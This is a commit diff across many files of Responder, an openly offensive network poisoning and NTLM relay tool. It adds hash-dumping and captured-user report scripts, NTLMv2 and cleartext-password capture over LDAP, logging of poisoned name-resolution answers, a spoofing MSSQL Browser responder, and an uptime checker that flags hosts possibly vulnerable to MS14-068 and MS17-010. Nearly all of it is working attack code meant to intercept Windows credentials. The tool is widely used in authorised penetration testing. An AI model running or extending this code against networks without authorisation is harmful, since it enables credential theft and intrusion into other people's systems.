Changed the complete LDAP parsing hash algo (ntlmv2 bug).

Pass Challenge value to the LDAP parsing function

DumpHash.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sqlite3
+
+def DumpHashToFile(outfile, data):
+	with open(outfile,"w") as dump:
+		dump.write(data)
+
+def DbConnect():
+    cursor = sqlite3.connect("./Responder.db")
+    return cursor
+
+def GetResponderCompleteNTLMv2Hash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     Output = ""
+     for row in res.fetchall():
+         Output += '{0}'.format(row[0])+'\n'
+     return Output
+
+def GetResponderCompleteNTLMv1Hash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     Output = ""
+     for row in res.fetchall():
+         Output += '{0}'.format(row[0])+'\n'
+     return Output
+
+cursor = DbConnect()
+print "Dumping NTLMV2 hashes:"
+v2 = GetResponderCompleteNTLMv2Hash(cursor)
+DumpHashToFile("DumpNTLMv2.txt", v2)
+print v2
+print "\nDumping NTLMv1 hashes:"
+v1 = GetResponderCompleteNTLMv1Hash(cursor)
+DumpHashToFile("DumpNTLMv1.txt", v1)
+print v1

README.md

@@ -1,6 +1,6 @@
-# Responder.py #
+# Responder/MultiRelay #
 
-LLMNR/NBT-NS/mDNS Poisoner
+LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
 
 Author: Laurent Gaffie <laurent.gaffie@gmail.com >  https://g-laurent.blogspot.com
 
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
 
 ## Considerations ##
 
-- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
 
 - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
 
@@ -168,9 +168,22 @@ You can contribute to this project by donating to the following BTC address:
 
 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
 
-Or via Paypal:
 
-[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
+## Acknowledgments ##
+
+Late Responder development has been possible because of the donations received from individuals and companies.
+
+We would like to thanks those major donator:
+
+- SecureWorks : https://www.secureworks.com/
+
+- Black Hills Information Security: http://www.blackhillsinfosec.com/
+
+- TrustedSec: https://www.trustedsec.com/
+
+- And all, ALL the pentesters around the world who donated to this project.
+
+Thank you.
 
 ## Copyright ##
 

Report.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sqlite3
+import os
+
+def color(txt, code = 1, modifier = 0):
+	if txt.startswith('[*]'):
+		settings.Config.PoisonersLogger.warning(txt)
+	elif 'Analyze' in txt:
+		settings.Config.AnalyzeLogger.warning(txt)
+
+	if os.name == 'nt':  # No colors for windows...
+		return txt
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def DbConnect():
+    cursor = sqlite3.connect("./Responder.db")
+    return cursor
+
+def GetResponderData(cursor):
+     res = cursor.execute("SELECT * FROM Responder")
+     for row in res.fetchall():
+         print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
+
+def GetResponderUsernamesStatistic(cursor):
+     res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
+     for row in res.fetchall():
+         print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
+
+def GetResponderUsernames(cursor):
+     res = cursor.execute("SELECT DISTINCT user FROM Responder")
+     for row in res.fetchall():
+         print('User account: {0}'.format(row[0]))
+
+def GetResponderUsernamesWithDetails(cursor):
+     res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
+     for row in res.fetchall():
+         print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
+
+
+def GetResponderCompleteHash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     for row in res.fetchall():
+         print('{0}'.format(row[0]))
+
+def GetUniqueLookups(cursor):
+     res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
+     for row in res.fetchall():
+         print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
+
+
+def GetStatisticUniqueLookups(cursor):
+     res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
+     for row in res.fetchall():
+         print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
+
+
+def SavePoisonersToDb(result):
+
+	for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
+		if not k in result:
+			result[k] = ''
+
+def SaveToDb(result):
+
+	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+		if not k in result:
+			result[k] = ''
+
+cursor = DbConnect()
+print color("[+] Generating report...", code = 3, modifier = 1)
+print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
+GetUniqueLookups(cursor)
+GetStatisticUniqueLookups(cursor)
+print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
+GetResponderUsernames(cursor)
+print color("\n[+] Username details:", code = 2, modifier = 1)
+GetResponderUsernamesWithDetails(cursor)
+GetResponderUsernamesStatistic(cursor)
+#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
+#GetResponderCompleteHash(cursor)

Responder.conf

@@ -15,7 +15,7 @@ LDAP = On
 
 ; Custom challenge. 
 ; Use "Random" for generating a random challenge for each requests (Default)
-Challenge = 1122334455667788
+Challenge = Random
 
 ; SQLite Database file
 ; Delete this file to re-capture previously captured hashes

Responder.py

@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
 if settings.Config.AnalyzeMode:
 	print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
 
+#Create the DB, before we start Responder.
+CreateResponderDb()
+
 class ThreadingUDPServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
@@ -238,8 +241,8 @@ def main():
 			threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
 
 		if settings.Config.SSL_On_Off:
-			from servers.HTTP import HTTPS
-			threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
+			from servers.HTTP import HTTP
+			threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
 
 		if settings.Config.WPAD_On_Off:
 			from servers.HTTP_Proxy import HTTP_Proxy
@@ -265,8 +268,9 @@ def main():
 			threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
 
 		if settings.Config.SQL_On_Off:
-			from servers.MSSQL import MSSQL
+			from servers.MSSQL import MSSQL, MSSQLBrowser
 			threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
+			threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
 
 		if settings.Config.FTP_On_Off:
 			from servers.FTP import FTP

packets.py

@@ -1597,4 +1597,39 @@ class SMB2Session2Data(Packet):
     ])
 
 
+######################FindSMBTime.py##########################
+class SMBHeaderReq(Packet):
+    fields = OrderedDict([
+        ("Proto", "\xff\x53\x4d\x42"),
+        ("Cmd", "\x72"),
+        ("Error-Code", "\x00\x00\x00\x00" ),
+        ("Flag1", "\x10"),
+        ("Flag2", "\x00\x00"),
+        ("Pidhigh", "\x00\x00"),
+        ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("Reserved", "\x00\x00"),
+        ("TID", "\x00\x00"),
+        ("PID", "\xff\xfe"),
+        ("UID", "\x00\x00"),
+        ("MID", "\x00\x00"),
+    ])
 
+class SMB2NegoReq(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
+
+class SMB2NegoDataReq(Packet):
+    fields = OrderedDict([
+        ("StrType","\x02" ),
+        ("dialect", "NT LM 0.12\x00"),
+        ("StrType1","\x02"),
+        ("dialect1", "SMB 2.002\x00"),
+        ("StrType2","\x02"),
+        ("dialect2", "SMB 2.???\x00"),
+    ])

poisoners/LLMNR.py

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 			if settings.Config.AnalyzeMode:
 				LineHeader = "[Analyze mode: LLMNR]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'LLMNR', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 			else:  # Poisoning Mode
 				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
 				Buffer.calculate()
 				soc.sendto(str(Buffer), self.client_address)
 				LineHeader = "[*] [LLMNR]"
 				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
-
+                                SavePoisonersToDb({
+			                           'Poisoner': 'LLMNR', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '0',
+		                                  })
 			if Finger is not None:
 				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
 				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

poisoners/MDNS.py

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
 		if settings.Config.AnalyzeMode:  # Analyze Mode
 			if Parse_IPV6_Addr(data):
 				print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+                                SavePoisonersToDb({
+			                           'Poisoner': 'MDNS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Request_Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 		else:  # Poisoning Mode
 			if Parse_IPV6_Addr(data):
 
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
 				soc.sendto(str(Buffer), (MADDR, MPORT))
 
 				print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'MDNS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Request_Name,
+			                           'AnalyzeMode': '0',
+		                                  })

poisoners/NBTNS.py

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
 			if settings.Config.AnalyzeMode:  # Analyze Mode
 				LineHeader = "[Analyze mode: NBT-NS]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'NBT-NS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 			else:  # Poisoning Mode
 				Buffer = NBT_Ans()
 				Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
 
 				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
 
+                                SavePoisonersToDb({
+			                           'Poisoner': 'NBT-NS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '0',
+		                                  })
+
 			if Finger is not None:
 				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
 				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

servers/HTTP.py

@@ -266,46 +266,47 @@ class HTTP(BaseRequestHandler):
 
 	def handle(self):
 		try:
-                        Challenge = RandomChallenge()
-                	for x in range(2):   
+			Challenge = RandomChallenge()
+			
+			while True:
 				self.request.settimeout(3)
-				data = self.request.recv(8092)
+				remaining = 10*1024*1024 #setting max recieve size
+				data = ''
+				while True:
+					buff = ''
+					buff = self.request.recv(8092)
+					if buff == '':
+						break
+					data += buff
+					remaining -= len(buff)
+					if remaining <= 0:
+						break
+					#check if we recieved the full header
+					if data.find('\r\n\r\n') != -1: 
+						#we did, now to check if there was anything else in the request besides the header
+						if data.find('Content-Length') == -1:
+							#request contains only header
+							break
+					else:
+						#searching for that content-length field in the header
+						for line in data.split('\r\n'):
+							if line.find('Content-Length') != -1:
+								line = line.strip()
+								remaining = int(line.split(':')[1].strip()) - len(data)
+			
+				#now the data variable has the full request
 				Buffer = WpadCustom(data, self.client_address[0])
 
 				if Buffer and settings.Config.Force_WPAD_Auth == False:
 					self.request.send(Buffer)
-                                        self.request.close()
+					self.request.close()
 					if settings.Config.Verbose:
 						print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
 
 				else:
 					Buffer = PacketSequence(data,self.client_address[0], Challenge)
 					self.request.send(Buffer)
+		
 		except socket.error:
 			pass
-
-# HTTPS Server class
-class HTTPS(StreamRequestHandler):
-	def setup(self):
-		self.exchange = self.request
-		self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
-		self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
-
-	def handle(self):
-		try:
-                        Challenge = RandomChallenge()
-			data = self.exchange.recv(8092)
-			self.exchange.settimeout(0.5)
-			Buffer = WpadCustom(data,self.client_address[0])
-				
-			if Buffer and settings.Config.Force_WPAD_Auth == False:
-				self.exchange.send(Buffer)
-				if settings.Config.Verbose:
-					print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
-
-			else:
-				Buffer = PacketSequence(data,self.client_address[0], Challenge)
-				self.exchange.send(Buffer)
-		except:
-			pass
-
+			

servers/LDAP.py

@@ -27,37 +27,53 @@ def ParseSearch(data):
 	elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
 		return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
 
-def ParseLDAPHash(data, client):
-	SSPIStart = data[42:]
-	LMhashLen = struct.unpack('<H',data[54:56])[0]
+def ParseLDAPHash(data,client, Challenge):  #Parse LDAP NTLMSSP v1/v2
+        SSPIStart  = data.find('NTLMSSP')
+        SSPIString = data[SSPIStart:]
+	LMhashLen    = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
+	LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
+	LMHash       = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	NthashLen    = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
+	NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
 
-	if LMhashLen > 10:
-		LMhashOffset = struct.unpack('<H',data[58:60])[0]
-		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
-		
-		NthashLen    = struct.unpack('<H',data[64:66])[0]
-		NthashOffset = struct.unpack('<H',data[66:68])[0]
-		NtHash       = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
-		
-		DomainLen    = struct.unpack('<H',data[72:74])[0]
-		DomainOffset = struct.unpack('<H',data[74:76])[0]
-		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
-		
-		UserLen      = struct.unpack('<H',data[80:82])[0]
-		UserOffset   = struct.unpack('<H',data[82:84])[0]
-		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
-
-		WriteHash    = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
+	if NthashLen == 24:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
 
 		SaveToDb({
-			'module': 'LDAP',
-			'type': 'NTLMv1',
-			'client': client,
-			'user': Domain+'\\'+User,
-			'hash': NtHash,
+			'module': 'LDAP', 
+			'type': 'NTLMv1-SSP', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
 			'fullhash': WriteHash,
 		})
-	
+
+	if NthashLen > 60:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
+
+		SaveToDb({
+			'module': 'LDAP', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
 	if LMhashLen < 2 and settings.Config.Verbose:
 		print text("[LDAP] Ignoring anonymous NTLM authentication")
 
@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
 		NTLMChall.calculate()
 		return str(NTLMChall)
 	elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
-		ParseLDAPHash(data,client)
+		ParseLDAPHash(data, client, Challenge)
 
 def ParseLDAPPacket(data, client, Challenge):
 	if data[1:2] == '\x84':
@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
 		elif Operation == "\x63":
 			Buffer = ParseSearch(data)
 			return Buffer
+
 		elif settings.Config.Verbose:
 			print text('[LDAP] Operation not supported')
 
+	if data[5:6] == '\x60':
+                UserLen = struct.unpack("<b",data[11:12])[0]
+                UserString = data[12:12+UserLen]
+                PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
+                PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
+                if settings.Config.Verbose:
+			print text('[LDAP] Attempting to parse an old simple Bind request.')
+		SaveToDb({
+			'module': 'LDAP',
+			'type': 'Cleartext',
+			'client': client,
+			'user': UserString,
+			'cleartext': PassStr,
+			'fullhash': UserString+':'+PassStr,
+			})
+
 class LDAP(BaseRequestHandler):
 	def handle(self):
 		try:
-			while True:
-				self.request.settimeout(0.5)
-				data = self.request.recv(8092)
-                                Challenge = RandomChallenge()
+			self.request.settimeout(0.4)
+			data = self.request.recv(8092)
+                        Challenge = RandomChallenge()
+                        for x in range(5):
 				Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
-
 				if Buffer:
 					self.request.send(Buffer)
-		except socket.timeout:
-			pass
+				data = self.request.recv(8092)
+		except:
+                        pass
+

servers/MSSQL.py

@@ -17,6 +17,7 @@
 from SocketServer import BaseRequestHandler
 from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
 from utils import *
+import random
 import struct
 
 class TDS_Login_Packet:
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
 # MSSQL Server class
 class MSSQL(BaseRequestHandler):
 	def handle(self):
-		if settings.Config.Verbose:
-			print text("[MSSQL] Received connection from %s" % self.client_address[0])
 	
 		try:
-			while True:
-				data = self.request.recv(1024)
-				self.request.settimeout(0.1)
-                                Challenge = RandomChallenge()
+			data = self.request.recv(1024)
+			if settings.Config.Verbose:
+				print text("[MSSQL] Received connection from %s" % self.client_address[0])
 
-				if data[0] == "\x12":  # Pre-Login Message
-					Buffer = str(MSSQLPreLoginAnswer())
+			if data[0] == "\x12":  # Pre-Login Message
+				Buffer = str(MSSQLPreLoginAnswer())
+				self.request.send(Buffer)
+				data = self.request.recv(1024)
+
+			if data[0] == "\x10":  # NegoSSP
+				if re.search("NTLMSSP",data):
+                                        Challenge = RandomChallenge()
+					Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
+					Packet.calculate()
+					Buffer = str(Packet)
 					self.request.send(Buffer)
 					data = self.request.recv(1024)
+				else:
+					ParseClearTextSQLPass(data,self.client_address[0])
 
-				if data[0] == "\x10":  # NegoSSP
-					if re.search("NTLMSSP",data):
-						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
-						Packet.calculate()
-						Buffer = str(Packet)
-						self.request.send(Buffer)
-						data = self.request.recv(1024)
-					else:
-						ParseClearTextSQLPass(data,self.client_address[0])
-
-				if data[0] == "\x11":  # NegoSSP Auth
-					ParseSQLHash(data,self.client_address[0])
+			if data[0] == "\x11":  # NegoSSP Auth
+				ParseSQLHash(data,self.client_address[0],Challenge)
 
 		except:
-			self.request.close()
                         pass
+
+# MSSQL Server Browser class
+# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
+class MSSQLBrowser(BaseRequestHandler):
+	def handle(self):
+		if settings.Config.Verbose:
+			print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
+
+		data, soc = self.request
+
+		if data:
+			if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
+				self.send_response(soc, "MSSQLSERVER")
+			elif data[0] == "\x04": # CLNT_UCAST_INST
+				self.send_response(soc, data[1:].rstrip("\x00"))
+			elif data[0] == "\x0F": # CLNT_UCAST_DAC
+				self.send_dac_response(soc)
+
+	def send_response(self, soc, inst):
+		print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
+
+		server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
+		resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
+		soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
+
+	def send_dac_response(self, soc):
+		print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
+
+		soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)

servers/Proxy_Auth.py

@@ -47,7 +47,7 @@ def GrabHost(data):
 		return Host
 	return False
 
-def PacketSequence(data, client):
+def PacketSequence(data, client, Challenge):
 	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
 	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)	
 	if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
 			if settings.Config.Verbose:
 				print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
 
-			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer = NTLM_Challenge(ServerChallenge=Challenge)
 			Buffer.calculate()
 			Buffer_Ans = WPAD_NTLM_Challenge_Ans()
 			Buffer_Ans.calculate(str(Buffer))
 			return str(Buffer_Ans)
 		if Packet_NTLM == "\x03":
 			NTLM_Auth = b64decode(''.join(NTLM_Auth))
-       	                ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
+       	                ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
                         GrabUserAgent(data)
                         GrabCookie(data)
                         GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
 
     def handle(self):
 		try:
+                    Challenge = RandomChallenge()
                     for x in range(2):
                         data = self.request.recv(4096)
-                        self.request.send(PacketSequence(data, self.client_address[0]))
+                        self.request.send(PacketSequence(data, self.client_address[0], Challenge))
 
 		except:
                    	pass

settings.py

@@ -20,7 +20,7 @@ import subprocess
 
 from utils import *
 
-__version__ = 'Responder 2.3.3.2'
+__version__ = 'Responder 2.3.3.6'
 
 class Settings:
 	
@@ -229,9 +229,12 @@ class Settings:
                 
 		try:
 			NetworkCard = subprocess.check_output(["ifconfig", "-a"])
-		except subprocess.CalledProcessError as ex:
-			NetworkCard = "Error fetching Network Interfaces:", ex
-			pass
+		except:
+			try:
+				NetworkCard = subprocess.check_output(["ip", "address", "show"])
+			except subprocess.CalledProcessError as ex:
+				NetworkCard = "Error fetching Network Interfaces:", ex
+				pass
 		try:
 			DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
 		except subprocess.CalledProcessError as ex:
@@ -239,9 +242,12 @@ class Settings:
 			pass
 		try:
 			RoutingInfo = subprocess.check_output(["netstat", "-rn"])
-		except subprocess.CalledProcessError as ex:
-			RoutingInfo = "Error fetching Routing information:", ex
-			pass
+		except:
+			try:
+				RoutingInfo = subprocess.check_output(["ip", "route", "show"])
+			except subprocess.CalledProcessError as ex:
+				RoutingInfo = "Error fetching Routing information:", ex
+				pass
 
 		Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
 		try:

tools/DHCP.py

@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
 RespondTo           = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
 DontRespondTo       = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
 Interface           = options.Interface
-Responder_IP        = FindLocalIP(Interface)
+Responder_IP        = FindLocalIP(Interface, None)
 ROUTERIP            = options.RouterIP
 NETMASK             = options.Netmask
 DHCPSERVER          = Responder_IP

tools/FindSMB2UPTime.py

@@ -21,7 +21,7 @@ import struct
 import socket
 
 sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
-from packets import SMB2Header, SMB2Nego, SMB2NegoData
+from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
 
 def GetBootTime(data):
     Filetime = int(struct.unpack('<q',data)[0])
@@ -33,8 +33,12 @@ def GetBootTime(data):
 def IsDCVuln(t):
     Date = datetime.datetime(2014, 11, 17, 0, 30)
     if t[0] < Date:
-       print "DC is up since:", t[1]
-       print "This DC is vulnerable to MS14-068"
+       print "System is up since:", t[1]
+       print "This system may be vulnerable to MS14-068"
+    Date = datetime.datetime(2017, 03, 14, 0, 30)
+    if t[0] < Date:
+       print "System is up since:", t[1]
+       print "This system may be vulnerable to MS17-010"
     print "DC is up since:", t[1]
 
 
@@ -43,8 +47,8 @@ def run(host):
     s.connect(host)  
     s.settimeout(5) 
 
-    Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
-    Nego = SMB2Nego(Data = SMB2NegoData())
+    Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
+    Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
     Nego.calculate()
 
     Packet = str(Header)+str(Nego)
@@ -63,6 +67,6 @@ def run(host):
 
 if __name__ == "__main__":
     if len(sys.argv)<=1:
-        sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
+        sys.exit('Usage: python '+sys.argv[0]+' System-IP-address')
     host = sys.argv[1],445
     run(host)

tools/MultiRelay.py

@@ -20,6 +20,8 @@ import os
 import logging
 import optparse
 import time
+import random
+import subprocess
 from threading import Thread
 from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
 try:
@@ -28,26 +30,39 @@ except ImportError:
     print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
     print "You can install it on debian based os with this command: apt-get install python-crypto"
     print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
